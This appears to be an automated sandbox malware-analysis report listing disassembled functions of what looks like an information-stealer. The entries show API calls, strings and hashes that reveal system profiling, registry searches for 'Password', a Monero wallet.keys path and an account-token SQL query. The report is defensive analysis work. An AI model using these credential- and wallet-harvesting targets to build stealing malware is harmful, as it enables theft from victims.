Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 3870139a8c399906491284c1241a761359650c1d74b8acb97b45789edc70fddb
Instruction ID: 98dd6c7d2870e8b9388366529b0ba9ec0da40b1aa2342be02531f9b1a8ccea72
Opcode Fuzzy Hash: 3870139a8c399906491284c1241a761359650c1d74b8acb97b45789edc70fddb
Instruction Fuzzy Hash: 2A41A5B1D0424CABDF24DF94DC45BEEBBB8AF48704F104099F609B7284D7756A84CBA5

Function 00EF8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0175DBC8,00000000,?,00F00E2C,00000000,?,00000000), ref: 00EF8130
RtlAllocateHeap.NTDLL(00000000), ref: 00EF8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00EF8158
__aulldiv.LIBCMT ref: 00EF8172
__aulldiv.LIBCMT ref: 00EF8180
wsprintfA.USER32 ref: 00EF81AC

Strings

@, xrefs: 00EF814D
%d MB, xrefs: 00EF81A3

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 03d5b3e13533ae5a840144bca5c6d09bce71ee6526a1c1562c294f4da37d6250
Instruction ID: 7625cccbcdad741bf49c2794933d9574cc5efe9fc9ca8b97959dab3f8e6b419d
Opcode Fuzzy Hash: 03d5b3e13533ae5a840144bca5c6d09bce71ee6526a1c1562c294f4da37d6250
Instruction Fuzzy Hash: 802127B1A4420CABDB14DFD4DD49FAEBBB8EB44B00F104219F715BB284D7B869018BA5

Function 00EE72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00EE733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00EE73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00EE740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00EE7452
HeapFree.KERNEL32(00000000), ref: 00EE7459
task.LIBCPMTD ref: 00EE7555

Strings

Password, xrefs: 00EE7401

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 0d9d5976909be7277811f740934aa70634c04c08d646abeb30c730eeca852157
Instruction ID: ab96113e8bab28bb4b0721af4f89c2e3731c2ebdde93908edefb79fd4f608c51
Opcode Fuzzy Hash: 0d9d5976909be7277811f740934aa70634c04c08d646abeb30c730eeca852157
Instruction Fuzzy Hash: 39611DB590415C9BDB24DF51DD41BD977B8BF48304F0091E9E689A6181EBB05FC9CFA0

Function 00EEBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

lstrlen.KERNEL32(00000000), ref: 00EEBC9F

Part of subcall function 00EF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EF8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00EEBCCD
lstrlen.KERNEL32(00000000), ref: 00EEBDA5
lstrlen.KERNEL32(00000000), ref: 00EEBDB9

Strings

AccountId, xrefs: 00EEBCC4
AccountTokens, xrefs: 00EEBABA
SELECT service, encrypted_token FROM token_service, xrefs: 00EEBBEB
AccountTokens, xrefs: 00EEBB49

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 4839f5b255c64c0ba089a125cf0def9576f61f8161df77c6c185dd2fb2e0186d
Instruction ID: 84007ad4197b70b73a45ccd08aefdfb1df200c35bc53fc67cd69499325fe4856
Opcode Fuzzy Hash: 4839f5b255c64c0ba089a125cf0def9576f61f8161df77c6c185dd2fb2e0186d
Instruction Fuzzy Hash: 6CB145B291014CABDB18FBA0DC56DFE73B8AF54300F445178F60AB6095EF746A49CB62

Function 00EE4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00EE4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00EE4FD1
InternetOpenA.WININET(00F00DDF,00000000,00000000,00000000,00000000), ref: 00EE4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00EE5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00EE5041
InternetCloseHandle.WININET(?), ref: 00EE50B9
InternetCloseHandle.WININET(?), ref: 00EE50C6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3f8f96c7f12891c0416a24fb872bcd1c701eabbff65345b542a605b5098d703a
Instruction ID: 280dbeadfd9c462ea331769c82ce003718bad1097323ebc2f1b84754595f6067
Opcode Fuzzy Hash: 3f8f96c7f12891c0416a24fb872bcd1c701eabbff65345b542a605b5098d703a
Instruction Fuzzy Hash: DD31E7B5A4021CABDB24CF54DC85BDCB7B5EB48704F1081E9F709B7285C6706AC58F98

Function 00EF83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00EF8426
wsprintfA.USER32 ref: 00EF8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00EF847B
RegCloseKey.ADVAPI32(00000000), ref: 00EF848C
RegCloseKey.ADVAPI32(00000000), ref: 00EF8499

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

RegQueryValueExA.KERNEL32(00000000,0175DDC0,00000000,000F003F,?,00000400), ref: 00EF84EC
lstrlen.KERNEL32(?), ref: 00EF8501
RegQueryValueExA.KERNEL32(00000000,0175DCA0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00F00B34), ref: 00EF8599
RegCloseKey.KERNEL32(00000000), ref: 00EF8608
RegCloseKey.ADVAPI32(00000000), ref: 00EF861A

Strings

%s\%s, xrefs: 00EF844D

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: c03e5805b641389cf9063c5de52e893145e9069406b9ee75359451da0fcc9b7c
Instruction ID: 669de3ecc9a7b7784c26441d6d4c5e4a22fb7d68a7aee118f88348d4ac0d1cbe
Opcode Fuzzy Hash: c03e5805b641389cf9063c5de52e893145e9069406b9ee75359451da0fcc9b7c
Instruction Fuzzy Hash: CC21D6B191021CABDB28DF54DC85FE9B7B8FF48704F00C5A9E609A6180DF71AA85CF94

Function 00EF7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00EF76AB
RegOpenKeyExA.KERNEL32(80000002,0174BC08,00000000,00020119,00000000), ref: 00EF76DD
RegQueryValueExA.KERNEL32(00000000,0175DDA8,00000000,00000000,?,000000FF), ref: 00EF76FE
RegCloseKey.ADVAPI32(00000000), ref: 00EF7708

Strings

Windows 11, xrefs: 00EF76BD

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 8b9ee87494422fa4886aa00bac70f706b0739146f58acad5df599dab46d627fb
Instruction ID: f6080803d3b8544ea958665b60349f13e250d425ea106b25998f22c563b9cd18
Opcode Fuzzy Hash: 8b9ee87494422fa4886aa00bac70f706b0739146f58acad5df599dab46d627fb
Instruction Fuzzy Hash: 0E0184B4A04208BBD724DFE0E849F7977B8EF44702F104065FB55E7284D6B099508B50

Function 00EF7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7734
RtlAllocateHeap.NTDLL(00000000), ref: 00EF773B
RegOpenKeyExA.KERNEL32(80000002,0174BC08,00000000,00020119,00EF76B9), ref: 00EF775B
RegQueryValueExA.KERNEL32(00EF76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00EF777A
RegCloseKey.ADVAPI32(00EF76B9), ref: 00EF7784

Strings

CurrentBuildNumber, xrefs: 00EF7771

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
